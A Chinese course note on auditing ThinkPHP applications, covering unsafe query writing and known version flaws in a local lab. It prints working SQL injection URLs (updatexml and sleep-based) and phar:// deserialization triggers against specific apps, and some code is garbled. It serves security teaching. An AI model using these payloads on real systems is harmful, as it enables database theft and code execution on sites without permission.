DAY110代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

https://blog.csdn.net/m0_60571842/article/details/139057898

看这个原作者

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比(不是官方写法就是不安全写法)

-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞

https://github.com/hughink/Thinkphp-All-vuln

-配合黑盒工具检测找入

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用

满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计- ThinkPHP5-不安全写法&版本漏洞

搭建环境:

ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

  • 1

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件

5、参考开发手册学习如何开启调试模式

开启调试模式:/config/app.php

'app_debug' => true,

'app_trace' => true,

6、参考开发手册学习官方写法和不安全写法。

数据库查询操作
官方写法 预编译机制

public function login(Request $request)

{

id=request->param('id');

data=Db::table('cw_admin')-\>where('id',id)->find();

return data\['user'\].'\|'.data'pass';

}

有回显

报错注入语句:

Home | Digital Business Services | TP

版本漏洞 反序列化phar

/index.php/index/login/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

Phpstudy_Pro+PHP7.3+Apache+Mysql

1

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

方法:xiaoxidel

参数:ids id

先登录看下路由地址

application/bbs/controller/User.php

3、application/bbs/controller/User.php(需要注册个用户才能触发)

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

问题在where语句是直接拼接SQL-where("id ={$id}")

如改为数组的传参就能修复此处问题-where("id",$id)

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php

方法:home

参数:ids id

/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 ApacheMysql

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

Thinkphp3.2.3-漏洞审计汇总 - FreeBuf网络安全行业门户

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php

$data = M('Article')->find(I('id'));

Application/Admin/Controller/ArticleController.class.php

http://shcoolcms//index.php?m=admin\&c=Article\&a=SaveInfo\&id=1

4、Poc构造-利用数据库监控组合注入

/index.php?m=Admin&c=Article&a=SaveInfo&idwhere=id=3 and sleep(5)#

四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+ Mysql

1、查看版本-thinkphp/ library****/think/App.php(搜version找)****

const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析

/admin.php/update/rmdirr.html?

dirname=phar://./public/upload/menubg/6543297dcccb9.png

/public/upload/userimages/6731d8db58e3a.png

/admin.php/update/rmdirr.html?dirname=phar://./public/upload/userimages/6731d928465e8.png

/public/upload/userimages/6731d928465e8.png

相关推荐
ppo_wu5 小时前
解决夸克网盘自动修改PDF打开方式的方法
经验分享·安全·网络安全
Wang's Blog6 小时前
Java 项目实战: 交友项目 - FastDFS:入门案例
java·开发语言·交友
apcipot_rain6 小时前
C++转Java日记(03)
java·开发语言·c++
布莱克6057 小时前
C++ 中 map 的 insert 与 emplace:key 已存在时会覆盖吗?
开发语言·数据结构·c++·算法·map
xys_6787 小时前
深挖C++:类和对象(中)
开发语言·c++
灿飞屋7 小时前
Rust 编程其实很简单
开发语言·rust
MOONICK9 小时前
QT元数据
开发语言·qt
D e re k ZH9 小时前
C++ 系统学习手记:从语法细节到工程实践
开发语言·数据结构·c++·算法
灿飞屋10 小时前
Kotlin与Java虚拟机三:控制流
android·java·开发语言·后端·python·kotlin·安卓
迪康coolmu10 小时前
出差终端数据安全落地实战:基于迪康端点安全一体化管理系统的四道防线实践
运维·服务器·经验分享·笔记·其他·安全·php